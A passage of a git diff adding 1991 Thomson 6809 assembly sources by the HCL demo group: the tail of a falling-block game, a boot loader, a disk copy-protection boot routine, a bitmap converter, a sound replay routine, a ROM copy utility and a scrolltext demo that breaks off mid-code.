+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+       LEAS   -35,S
+       PSHS   Y,X,B
+       LEAU   190,U
+       LEAS   200,S
+       PULU   B,X,Y
+       PSHS   Y,X,B
+       LEAS   10,S
+       PULU   B,X,Y
+       PSHS   Y,X,B
+       LEAU   30,U
+       LEAS   40,S
+       PULU   B,X,Y
+       PSHS   Y,X,B
+       LEAS   10,S
+       PULU   B,X,Y
+       PSHS   Y,X,B
+       LEAU   -$2122,U
+       LEAS   -$2258,S
+       JMP    TOMLIG
+
+SCOMAJ LDX    <Z+39   score bonifié
+       LDA    <Z+9
+       LDB    #6
+       MUL
+       LEAX   D,X
+       LDU    #DIR*256+Z+39
+       LDA    #6
+       LDB    ,-U
+       ADDB   ,-X
+       CMPB   #10
+       BLO    *+6
+       SUBB   #10
+       INC    -1,U
+       STB    ,U
+       DECA
+       BNE    *-15
+       LDA    <Z+32   au cas où 10000000
+       CMPA   #10
+       BLO    *+4
+       CLR    <Z+32
+
+       LDS    #$60CC
+       LDB    <Z+15   lignes du level
+       SUBB   <Z+9
+       CMPB   #252
+       BLO    NBLMAJ-2
+       LDD    <Z+41   numéro du level
+       LDU    <Z+39   gains associés
+       LEAU   24,U
+       INCB
+       CMPB   #10
+       BLO    *+24
+       INC    <Z+43
+       LDB    <Z+43
+       LDX    #$CA98              vies ^
+       JSR    PUTC
+       LDA    <Z+41
+       LDU    #LEVELS
+       CLRB
+       INCA
+       CMPA   #10
+       BLO    *+3
+       CLRA
+       STD    <Z+41
+       PULU   D
+       STD    <Z+6    vitesse associée
+       STU    <Z+39
+       LDX    #$D4D1             level ^
+       LDB    <Z+41
+       BNE    *+4
+       LDB    #12
+       JSR    PUTC
+       LDB    <Z+42
+       JSR    PUTC
+       LDB    #14     lignes / level
+       STB    <Z+15
+NBLMAJ LDB    <Z+22   nombre de lignes
+       ADDB   <Z+9
+       CMPB   #9
+       BHI    *+6
+       STB    <Z+22
+       BRA    NBLAFF
+       SUBB   #10
+       STB    <Z+22
+       LDA    <Z+21
+       INCA
+       CMPA   #9
+       BHI    *+6
+       STA    <Z+21
+       BRA    NBLAFF
+       SUBA   #10
+       STA    <Z+21
+       INC    <Z+20
+NBLAFF LDX    #$D33F             lines ^
+       LDB    <Z+20
+       JSR    PUTC
+       LDB    <Z+21
+       JSR    PUTC
+       LDB    <Z+22
+       JSR    PUTC
+
+**** Status lines ****
+
+STATUS LDU    #DIR*256+Z+39
+       LDS    #$60CC
+       CLRA
+       LDB    ,-U
+       INCB
+       CMPB   #10
+       BLO    *+6
+       STA    ,U
+       BRA    *-9
+       STB    ,U
+SCOAFF LDX    #$C5CA             score ^
+       LDY    #DIR*256+Z+32
+       LDA    #7
+       STA    <Z
+       LDB    ,Y+
+       JSR    PUTC
+       DEC    <Z
+       BNE    *-7
+
+**** Nouvel objet ****
+
+OBJNEW CLR    <Z+9
+       LDU    <Z+16   ancien "NEXT"
+       STU    <Z+4    forme de l'objet
+       LEAS   8,U
+       LDX    #RAMB-517
+       STX    <Z+2    adresse écran
+       LDX    #RAMB+3
+       CLR    <Z+8    ordonnée nulle
+       INC    <Z+14   flag même pression
+       LDA    #2
+       STA    <Z
+       LDB    #4
+
+OBJLIG LDA    ,S+
+       BEQ    *+11
+       LDA    ,X      haut du cube
+       CMPA   #COULIB
+       BEQ    *+5
+       JMP    BLKOBJ  l'objet est bloqué
+       LEAX   1,X
+       DECB
+       BNE    OBJLIG
+       LEAX   316,X
+       DEC    <Z
+       BNE    OBJLIG-2
+
+**** Présentation du suivant ****
+
+SUIDEB LDX    <Z+10
+       LDB    ,X+
+       ANDB   #7
+       BNE    *+7
+       LDX    #RANDOM
+       BRA    *-9
+       STX    <Z+10
+       LDX    #PIECES-2
+       ASLB
+       LDU    B,X     forme du suivant
+       STU    <Z+16
+       LEAS   8,U
+       LDX    #$B510              next ^
+       LEAY   $2000,X
+       LDA    #2
+       STA    <Z+1
+       LDB    #4
+       STB    <Z
+
+SUILIG LDB    ,S+
+       BNE    SUICUB
+       LDA    #COULIB
+       STA    -120,X
+       STA    -80,X
+       STA    -40,X
+       STA    ,X
+       STA    40,X
+       STA    80,X
+       STA    120,X
+       STA    160,X
+       BRA    SUINEX
+SUICUB LDA    #6
+       MUL
+       LDU    #DESSIN-6
+       LEAU   D,U
+       PULU   D
+       STA    -120,X
+       STA    -80,X
+       STA    -40,X
+       STA    ,X
+       STA    40,X
+       STA    80,X
+       STA    120,X
+       STA    160,X
+       STB    -120,Y
+       PULU   D
+       STA    -80,Y
+       STB    -40,Y
+       STB    ,Y
+       STB    40,Y
+       STB    80,Y
+       PULU   D
+       STA    120,Y
+       STB    160,Y
+SUINEX LEAX   1,X
+       LEAY   1,Y
+       DEC    <Z
+       BNE    SUILIG
+       LEAX   316,X
+       LEAY   316,Y
+       DEC    <Z+1
+       BNE    SUILIG-4
+       JMP    SYNCRO
+
+**** La figure est bloquée ****
+
+BLKOBJ DEC    <Z
+       BNE    BLKFIN
+       LDX    #RAMB+123
+       LDY    #RAMA+123
+       LEAS   12,U
+       LDA    #4
+       STA    <Z
+
+BLKLIG LDB    ,S+
+       BEQ    BLKVID
+       LDA    #6
+       MUL
+       LDU    #DESSIN-6
+       LEAU   D,U
+       PULU   D
+       STA    -120,X
+       STA    -80,X
+       STA    -40,X
+       STA    ,X
+       STA    40,X
+       STA    80,X
+       STA    120,X
+       STA    160,X
+       STB    -120,Y
+       PULU   D
+       STA    -80,Y
+       STB    -40,Y
+       STB    ,Y
+       STB    40,Y
+       STB    80,Y
+       PULU   D
+       STA    120,Y
+       STB    160,Y
+
+BLKVID LEAX   1,X
+       LEAY   1,Y
+       DEC    <Z
+       BNE    BLKLIG
+
+BLKFIN LDA    #20
+       STA    <Z+31
+       LDY    #*+7
+       JMP    SYNCRO
+       DEC    <Z+43
+GETRED LDS    #$60CC
+       LDX    #$CA98              vies ^
+       LDB    <Z+43
+       JSR    PUTC
+       TST    <Z+43
+       BEQ    OVER
+       LDX    #$CD32
+       LDY    #$40C0
+       LDA    #32
+       LDU    ,Y++
+       STU    -2,X
+       LDU    ,Y++
+       STU    ,X
+       LDU    ,Y++
+       STU    2,X
+       LDU    ,Y++
+       STU    4,X
+       LEAX   40,X
+       DECA
+       BNE    *-20
+       LEAS   -$24FA,X
+       LDU    #GHOST*256+GHOST
+       LEAX   ,U
+       LEAY   ,U
+       LDA    #32
+       STA    <Z
+       TFR    X,D
+       PSHS   U,Y,X,D
+       LEAS   48,S
+       DEC    <Z
+       BNE    *-7
+       LDA    $E7CD
+       BITA   #64
+       BNE    *-5
+       LDB    #160
+       LDU    #COULIB*256+COULIB
+       LDX    #RAMB+4
+       STU    -4,X
+       STU    -2,X
+       STU    ,X
+       STU    2,X
+       STU    4,X
+       LEAX   40,X
+       DECB
+       BNE    *-14
+       LDS    #$60CC
+       JMP    SCOAFF
+
+OVER   LDX    #$CD33              over ^
+       LDY    #$4000
+       LDA    #32
+       LDU    ,Y++
+       STU    -2,X
+       LDU    ,Y++
+       STU    ,X
+       LDU    ,Y++
+       STU    2,X
+       LEAX   40,X
+       DECA
+       BNE    *-16
+       LEAS   -$24FC,X
+       LDU    #GHOST*256+GHOST
+       LEAX   ,U
+       LEAY   ,U
+       LDA    #32
+       PSHS   U,Y,X
+       LEAS   46,S
+       DECA
+       BNE    *-6
+       LDA    $E7CD
+       BITA   #64
+       BNE    *-5
+       LDS    #0
+       RTS
+PUTC   LDU    #CHIFF
+       LDA    #7
+       MUL
+       LEAU   D,U
+       PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X+
+       PULU   D
+       STA    39,X
+       STB    79,X
+       LDA    ,U
+       STA    119,X
+       RTS
+INITAL STS    PUTC-3
+       STD    <Z+41   level
+       LDA    #26
+       MUL
+       LDU    #LEVELS
+       LEAU   D,U
+       PULU   D
+       STD    <Z+6    vitesse
+       STU    <Z+39   gains
+       LDD    #0
+       STD    <Z+31   score
+       STD    <Z+33
+       STD    <Z+35
+       STD    <Z+37
+       STD    <Z+20   lines
+       STB    <Z+22
+       STA    <Z+8    virgule
+       LDB    <Z+42
+       LDA    #15
+       MUL
+       TST    <Z+41
+       BEQ    *+4
+       ADDB   #150
+       DECB
+       STB    <Z+15   lignes / ce level
+       LDA    #3
+       STA    <Z+43   vies
+       LDX    <Z+10
+       LDB    ,X+     objet suivant
+       ANDB   #7
+       BNE    *+7
+       LDX    #RANDOM
+       BRA    *-9
+       STX    <Z+10
+       LDX    #PIECES-2
+       ASLB
+       LDU    B,X
+       STU    <Z+16
+       LDS    #$60CC
+       LDX    #$D4D1             level ^
+       LDB    <Z+41
+       BNE    *+4
+       LDB    #12
+       JSR    PUTC
+       LDB    <Z+42
+       JSR    PUTC
+       LDX    #$D33F             lines ^
+       CLRB
+       JSR    PUTC
+       CLRB
+       JSR    PUTC
+       CLRB
+       JSR    PUTC
+       LDB    <Z+43
+       LDX    #$CA98              vies ^
+       JSR    PUTC
+       JMP    GETRED
+
+       END
diff --git a/code/3rdparty/sources2-hcl/PREFBOOT.ASM b/code/3rdparty/sources2-hcl/PREFBOOT.ASM
new file mode 100644
index 0000000..27577b1
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PREFBOOT.ASM
@@ -0,0 +1,66 @@
+****************************************
+*                                      *
+*            Set-Prevs BOOT            *
+*                                      *
+****************************************
+*   (c) By Laurent HIRIART 6-10-1991   *
+*                                      *
+* 6280: les 16 nouvelles palettes.     *
+* 62A0: texte ASCII, terminé par 0.    *
+* 62FF: flags (NoAutoBat? ; NewPal?).  *
+****************************************
+
+       ORG    $6200
+       LDX    #$6200   le programme se
+COPY   LDB    ,X+       copie en $7200
+       STB    $FFF,X   pour pas se faire
+       CMPX   #$6300    buter pas les
+       BNE    COPY     initialisations!
+       JMP    $7211
+BSTART CLR    >0      ROM0 -> cartouche
+       JSR    $2B42   voir ($2B52) ROM0
+       LDS    #$9FFF
+       CLR    >1      ROM1 -> cartouche
+       JSR    $193
+       COM    <$31
+       STS    $6C43
+       CLR    >0      ROM0 -> cartouche
+       JSR    $2D00
+       LDA    #2      } copie de ($2B74)
+       LDX    #$100   }
+       JSR    $3A13   }
+       LDA    #$80    }
+       STA    $6768   }
+       JSR    $342F     } cf ($2B1A)
+       LDA    #4        }
+       STA    $6C42     }
+       LDX    #$6300    }
+       STX    $6027     }
+       LDA    $6019     }
+       ORA    #$20      }
+       STA    $6019     }
+       LDA    #$FF      }
+       STA    $603A     }
+       JSR    $43B    }
+       LDX    #$72A0  affichage du texte
+       LDB    ,X+      de l'utilisateur
+       JSR    $E803
+       BNE    *-5
+       LDA    $62FF   les 2 Flags :
+       BPL    *+5
+       CLR    $607F   ->pas d'AUTO.BAT !
+       ASLA
+       BEQ    *+10
+       LDA    #-1     ->nouvelle palette
+       LDX    #$7280
+       JSR    $EC00
+       JMP    $2BAD   retour BASIC /ROM0
+
+****************************************
+* Valeur-test: "BASIC2.." complémenté: *
+****************************************
+
+       ORG    $6278
+       FDB    $BEBF,$ADB7,$BDCE,$0000
+
+       END
diff --git a/code/3rdparty/sources2-hcl/PROTASS1.ASM b/code/3rdparty/sources2-hcl/PROTASS1.ASM
new file mode 100644
index 0000000..cd7a1f4
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PROTASS1.ASM
@@ -0,0 +1,170 @@
+****************************************
+*                                      *
+*                                      *
+*                                      *
+*                                      *
+*         PROTECTION ASSDESAS          *
+*                                      *
+*                                      *
+*                                      *
+*                                      *
+****************************************
+
+L4D    EQU    $604D
+L4B    EQU    $604B
+L4E    EQU    $604E
+
+
+DEBUT  LDX    #NOM
+       LDB    #8+2+3
+       LDU    #FPDE1
+       JSR    NET1
+       CLRA
+       JSR    OPELEC
+       LBCS   SERR
+       CLR    BLO
+       LDX    #BUF1
+       STX    BUF
+       LDD    #$0009
+       STD    PISEC
+
+LOOP   CLRA
+       JSR    LEC
+       LBCS   SERR
+       JSR    ECRO
+       TST    LF0
+       BNE    LOOP
+       JSR    CLOSO
+       JMP    PBOOT
+
+NOM    FCC    /DFBIN/
+       FDB    $200
+BUF    RMB    2
+BLO    RMB    1
+PISEC  RMB    2
+BUF1   RMB    256
+
+ECRO   PSHS   A,B,X
+       LDX    BUF
+       STB    ,X+
+       STX    BUF
+       INC    BLO
+       BNE    ECR1
+       FCB    $F5
+CLOSO  PSHS   A,B,X
+       CLR    BLO
+       LDX    #BUF1
+       STX    BUF
+       STX    L4F
+       CLR    L49
+       LDD    PISEC
+       STD    $604B
+       LDB    #8
+       STB    L48
+       JSR    LE004
+       BCS    SERR
+       LDD    PISEC
+       CMPB   #16
+       BLO    REC5
+       CLRB
+       INCA
+REC5   INCB
+       STD    PISEC
+
+ECR1   PULS   A,B,X,PC
+
+SERR
+       LDB    #'E
+       JSR    $E803
+       SWI
+
+
+       INCLUD SED
+
+PBOOT  LDX    #BOOT
+       LDU    #BUF1
+       LDB    #FBOOT-BOOT
+       JSR    NET1
+       LDX    #BUF1
+       LDA    #$55
+INU    ADDA   ,X
+       COM    ,X
+       INC    ,X+
+       CMPX   #BUF1+127
+       BNE    INU
+       STA    ,X
+       LDX    #BUF1
+       STX    L4F
+       LDA    #8
+       STA    L48
+       LDD    #001
+       STD    $604B
+       JSR    LE004
+       LBCS   SERR
+       SWI
+BOOT
+       LDD    #9
+       STD    L4B
+       STB    L4C
+       BSR    AUDIS
+LOUP
+       BSR    LECT
+       TFR    A,B
+       BSR    LECT
+       TFR    D,Y
+       BSR    LECT
+       TFR    B,A
+       BSR    LECT
+       TFR    D,X
+       LDA    ,S+
+       BNE    BNI
+LO
+       BSR    LECT
+       STB    ,X+
+       LEAY   -1,Y
+       BNE    LO
+       BRA    LOUP
+UI0
+       LDB    #12
+       JSR    $E803
+       LDB    #'E
+       JSR    $E803
+       BRA    *
+
+BNI    JMP    ,X
+
+LECT
+       LDB    ,U+
+       CMPU   #$6300
+       BNE    LOP10
+       PSHS   A,B
+       LDA    L4B
+       LDB    L4C
+       CMPB   #16
+       BNE    LYP6
+       INCA
+       CLRB
+LYP6
+       INCB
+       STA    L4B
+       STB    L4C
+       BSR    AUDIS
+       PULS   A,B
+LOP10  RTS
+AUDIS
+       LDU    #$6280
+       STU    L4F
+       CLR    L4A
+       CLR    L4D
+       CLR    L4E
+       CLR    L49
+       LDA    #2
+       STA    L48
+       JMP    LE004
+FBOOT
+
+
+
+
+
+       END
diff --git a/code/3rdparty/sources2-hcl/PROTASS2.ASM b/code/3rdparty/sources2-hcl/PROTASS2.ASM
new file mode 100644
index 0000000..d33857d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PROTASS2.ASM
@@ -0,0 +1,78 @@
+
+
+L6300  SET    $7300
+L6280  SET    $7280
+L4C    SET    $604C
+L4F    SET    $604F
+L49    SET    $6049
+L48    SET    $6048
+L4B    SET    $604B
+L4A    SET    $604A
+L4D    SET    $604D
+L4E    SET    $604E
+LE004  SET    $E004
+
+       ORG    $9000
+BOOT
+       ORCC   #$50
+       LDD    #9
+       STD    L4B
+       STB    L4C
+       BSR    AUDIS
+LOUP
+       BSR    LECT
+       PSHS   B
+       BSR    LECT
+       TFR    B,A
+       BSR    LECT
+       TFR    D,Y
+       BSR    LECT
+       TFR    B,A
+       BSR    LECT
+       TFR    D,X
+       LDA    ,S+
+       BNE    BNI
+LO
+       BSR    LECT
+       STB    ,X+
+       LEAY   -1,Y
+       BNE    LO
+       BRA    LOUP
+UI0
+       LDB    #12
+       JSR    $E803
+       LDB    #'E
+       JSR    $E803
+       BRA    *
+
+BNI    JMP    ,X
+
+LECT
+       LDB    ,U+
+       CMPU   #L6300
+       BNE    LOP10
+       PSHS   A,B
+       LDA    L4B
+       LDB    L4C
+       CMPB   #16
+       BNE    LYP6
+       INCA
+       CLRB
+LYP6
+       INCB
+       STA    L4B
+       STB    L4C
+       BSR    AUDIS
+       PULS   A,B
+LOP10  RTS
+AUDIS
+       LDU    #L6280
+       STU    L4F
+       CLR    L4A
+       CLR    L4D
+       CLR    L4E
+       CLR    L49
+       LDA    #2
+       STA    L48
+       JMP    LE004
+FBOOT
diff --git a/code/3rdparty/sources2-hcl/RAW2MAP3.ASM b/code/3rdparty/sources2-hcl/RAW2MAP3.ASM
new file mode 100644
index 0000000..fb1954c
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/RAW2MAP3.ASM
@@ -0,0 +1,131 @@
+****************************************
+*  Conversion du mode RAW en bitmap16  *
+****************************************
+*        Doctor Lô le 29-4-91          *
+****************************************
+
+P0     EQU    0       bitplan0
+P1     EQU    4000    décalage bitplan1
+P2     EQU    2*P1    décalage bitplan2
+P3     EQU    3*P1    décalage bitplan3
+
+DIR    EQU    $9E     variables = les 2
+Z      EQU    $FE      octets courants
+
+       ORG    $9E00
+G      ORCC   #80
+       PSHS   DP
+       LDA    #DIR
+       TFR    A,DP
+
+       LDY    #P1     octets par plan
+       LDX    #$A000  source
+       LDU    #$4000  destination
+
+CONVER CLR    <Z
+       CLR    <Z+1
+
+       LDD    #$C010
+       BITA   P0,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDB    #32
+       BITA   P1,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDB    #64
+       BITA   P2,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDB    #128
+       BITA   P3,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+
+       LDD    #$3001
+       BITA   P0,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDB    #2
+       BITA   P1,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDB    #4
+       BITA   P2,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDB    #8
+       BITA   P3,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+
+       LDD    #$0C10
+       BITA   P0,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDB    #32
+       BITA   P1,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDB    #64
+       BITA   P2,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDB    #128
+       BITA   P3,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+
+       LDD    #$0301
+       BITA   P0,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDB    #2
+       BITA   P1,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDB    #4
+       BITA   P2,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDB    #8
+       BITA   P3,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+
+       LDA    $E7C3   premier octet en
+       ORA    #1       RAM A
+       STA    $E7C3
+       LDB    <Z
+       STB    ,U
+       ANDA   #254    deuxième octet en
+       STA    $E7C3    RAM B
+       LDB    <Z+1
+       STB    ,U+     destination
+       LEAX   1,X     source (Bitplan 1)
+       LEAY   -1,Y    compteur
+       LBNE   CONVER
+
+       CMPU   #$5F40    première moitié
+       BLO    *+5
+       LDU    #$4000    ou fin d'image ?
+       STU    CONVER-2
+       PULS   DP,PC
+
+       END
diff --git a/code/3rdparty/sources2-hcl/REPLAY.ASM b/code/3rdparty/sources2-hcl/REPLAY.ASM
new file mode 100644
index 0000000..a34b2d6
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/REPLAY.ASM
@@ -0,0 +1,144 @@
+****************************************
+*                                      *
+*             R E P L A Y              *
+*           Crunched/6 bits            *
+*      --------------------------      *
+*   (c) 12.9.1991 by Doctor Lô / HCL   *
+*                                      *
+****************************************
+*                                      *
+*  REPLAY joue une série de "segments" *
+* dont la structure permet de composer *
+* de véritables musiques :             *
+*                                      *
+* BANK (1o): La Bank où est le segment *
+* TEMPO (1o): "Vitesse" (0 ->23.8 KHz) *
+* START (2o): (Adresse de début)-1 !!! *
+* SIZE (2o): Longueur en "quadruplets" *
+*                                      *
+*   La fin de la liste de segments est *
+* codée: ($80+BANK du premier segment) *
+* et la musique boucle tant qu'aucune  *
+* touche n'est frappée au clavier.     *
+*                  -                   *
+* REPLAY accepte en entrée 2 pointeurs *
+* dans la liste des segments:          *
+* -> on commence à jouer à partir de U *
+* -> pour boucler, on reprend à X.     *
+*               -------                *
+*                                      *
+*  L'intervalle entre deux "notes" est *
+* TOUJOURS de 42+5*TEMPO microsecondes *
+* réparties comme suit:                *
+* 31: Avant validation de la hauteur.  *
+*  4: Validation de la hauteur du son. *
+* 7+5*TEMPO: boucle de temporisation.  *
+*                                      *
+****************************************
+
+
+
+       ORG    $9F00   Last byte in $9F80
+REPLAY PSHS   U,Y,X,DP,B,A,CC
+       LDA    #$E7
+       TFR    A,DP
+       STX    PLAY4-4 sgmnt début boucle
+       PULU   A,B,X,Y
+       STA    <$E5    bank du 1er sgmnt
+       PSHS   B       val. temporisation
+       BRA    PLAY1
+
+*******début*de**la*boucle*REPLAY*******
+
+PLAY3  LDA    ,X+     6
+       ASLA           2
+       ASLA           2
+       STA    *+8     5
+       LDA    ,X      4
+       ANDA   #3      2
+       ORA    #0      2
+       STA    <$CD    4------------note3
+       LDB    ,S      4
+       BEQ    *+5     3
+        DECB
+        BNE   *-1
+
+
+* Répartition du son sur le quadruplet:
+*
+*   [54321010]  [54325432]  [54321010] *
+*                          X:^^^^^^    *
+
+       LDD    ,X      5
+       LEAY   -1,Y    5 fin de segment ?
+       BEQ    NEWBNK  3
+        LDB   [D,Y]
+        BRA   PLAY4
+NEWBNK LDB    ,U      4 nouvelle Bank
+       BMI    *+4     3 fin de musique ?
+        BRA   *+5       non:continue
+       LDU    #0      3 oui:recommence
+       STB    <$E5    4
+PLAY4  LSRA           2
+       LSRA           2
+       STA    <$CD    4------------note4
+       LDB    ,S      4
+       BEQ    *+5     3
+        DECB
+        BNE   *-1
+
+
+* Répartition du son sur le quadruplet:
+*
+*   [54321010]  [54325432]  [54321010] *
+*X+1:^^^^^^                            *
+
+       LEAY   ,Y      4 fin de segment ?
+       BEQ    NEWSEG  3 oui:re-paramètre
+        MUL             non:continue
+        JMP   PLAY1
+NEWSEG PULU   A,B,X,Y 11 début;longueur;
+       STB    ,S      4  nouveau tempo
+PLAY1  LDA    1,X     5
+       LSRA           2
+       LSRA           2
+       STA    <$CD    4------------note1
+       LDB    ,S      4
+       BEQ    *+5     3
+        DECB
+        BNE   *-1
+
+
+* Répartition du son sur le quadruplet:
+*
+*  [54321010]  [54325432]  [54321010]  *
+*X+1:     ^^    ^^^^                   *
+
+       LEAX   1,X     5
+       BRN    *       3
+PLAY2  LDA    ,X+     6
+       ANDA   #3      2
+       STA    *+8     5
+       LDA    ,X      4
+       LSRA           2
+       LSRA           2
+       ORA    #0      2
+       STA    <$CD    4------------note2
+       LDB    ,S      4
+       BEQ    *+5     3
+        DECB
+        BNE   *-1
+
+
+* Répartition du son sur le quadruplet:
+*
+*   [54321010]  [54325432]  [54321010] *
+*              X:    ^^^^          ^^  *
+
+       LDA    $E7C8   5 touche frappée ?
+       BEQ    PLAY3   3 non: on continue
+
+********fin*de*la*boucle*REPLAY*********
+
+       PULS   B        dépile le TEMPO
+       PULS   CC,A,B,DP,X,Y,U,PC  retour
diff --git a/code/3rdparty/sources2-hcl/RST-ROM.ASM b/code/3rdparty/sources2-hcl/RST-ROM.ASM
new file mode 100644
index 0000000..74df9f1
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/RST-ROM.ASM
@@ -0,0 +1,21 @@
+       ORG    $9800
+G      ORCC   #80
+       LDX    #$FDC8
+       LDU    #RESET
+       LDA    ,X+
+       STA    ,U+
+       CMPX   #$FEF8
+       BNE    *-7
+RESET
+
+       ORG    $995E
+       LDA    #15
+       STA    $E7E5
+       LDX    #0
+       LDU    #$A000
+       LDA    ,X+
+       STA    ,U+
+       CMPX   #$4000
+       BNE    *-7
+       BRA    *
+       END
diff --git a/code/3rdparty/sources2-hcl/SCROL16c.ASM b/code/3rdparty/sources2-hcl/SCROL16c.ASM
new file mode 100644
index 0000000..f742f82
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROL16c.ASM
@@ -0,0 +1,252 @@
+****************************************
+*   SCROLLTEXT EN BITMAP 16 COULEURS   *
+****************************************
+* Les autres scrolls peuvent toujours  *
+* scroller, Doc Lô reste intouchable ! *
+****************************************
+
+FONTE  EQU    -HAUT*LONG*2
+RAMA   EQU    $DF18-HAUT*40
+RAMB   EQU    RAMA-$2000
+HAUT   EQU    44      multiple de 7 ! +2
+LONG   EQU    5       segments par CHR$
+DIR    EQU    $9F     } début buffer
+Z      EQU    0       } à accès direct
+CARTOU EQU    15      page $0000-$3FFF
+
+       ORG    DIR*256+Z
+       FDB    1,TEXTE,FONTE
+
+       ORG    $9800
+G      ORCC   #80
+       LDA    #DIR
+       EXG    A,DP
+       LDB    $E7E6
+       STA    RDP+1
+       STB    RDP+2
+       STS    RDP-2
+
+       LDA    #123
+       STA    $E7DC
+       LDD    #$260+CARTOU
+       STD    $E7E5
+       LDD    #0
+       LDX    #$A000
+       STD    ,X++
+       CMPX   #$E000
+       BNE    *-5
+       INC    $E7E5
+       STD    ,--X
+       CMPX   #$A000
+       BNE    *-5
+       LDA    #255
+       LDX    #COLORS+32
+       JSR    $EC00
+
+SYNCRO TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+       LDD    #$380
+       STA    $E7E5   premier écran
+       STB    $E7DD
+
+       LDX    #RAMA+160
+       LDU    <Z+4
+       LDA    #HAUT/7
+       STA    <Z
+COPYA1 PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   A
+       STA    120,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYA1
+       PULU   D
+       STA    -120,X
+       STB    -80,X
+       STU    <Z+4
+
+       LDA    #HAUT
+       STA    <Z
+       LDU    #RAMA+1
+SCRLA1 PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCRLA1
+       CLR    RAMA+HAUT*40
+
+       DEC    <Z+1
+       BNE    MEMLET
+
+       LDA    #LONG
+       STA    <Z+1
+       LDX    <Z+2
+       LDA    ,X+     lettre suivante
+       BNE    *+7
+       LDX    #TEXTE
+       LDA    ,X+
+       LDU    #FONTE
+       LDB    #HAUT*LONG
+       ASLA
+       MUL
+       LEAU   D,U
+       STU    <Z+4
+       STX    <Z+2
+
+MEMLET LDX    #RAMB+160
+       LDU    <Z+4
+       LDA    #HAUT/7
+       STA    <Z
+COPYB1 PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   A
+       STA    120,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYB1
+       PULU   D
+       STA    -120,X
+       STB    -80,X
+
+       LDA    #HAUT
+       STA    <Z
+       LDU    #RAMB+1
+SCRLB1 PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCRLB1
+       CLR    RAMB+HAUT*40
+
+       TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+       LDD    #$2C0
+       STA    $E7E5   deuxième écran
+       STB    $E7DD
+
+       LDX    #RAMA+160
+       LDU    <Z+4
+       LDA    #HAUT/7
+       STA    <Z
+COPYA2 PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   A
+       STA    120,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYA2
+       PULU   D
+       STA    -120,X
+       STB    -80,X
+       STU    <Z+4
+
+       LDA    #HAUT
+       STA    <Z
+       LDU    #RAMA+1
+SCRLA2 PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCRLA2
+       CLR    RAMA+HAUT*40
+
+       LDX    #RAMB+160
+       LDU    <Z+4
+       LDA    #HAUT/7
+       STA    <Z
+COPYB2 PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   A
+       STA    120,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYB2
+       PULU   D
+       STA    -120,X
+       STB    -80,X
+
+       LDA    #HAUT
+       STA    <Z
+       LDU    #RAMB+1
+SCRLB2 PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCRLB2
+       CLR    RAMB+HAUT*40
+
+       TST    $E7C8
+       LBEQ   SYNCRO
+
+       LDS    #0
+RDP    LDD    #0
+       TFR    A,DP
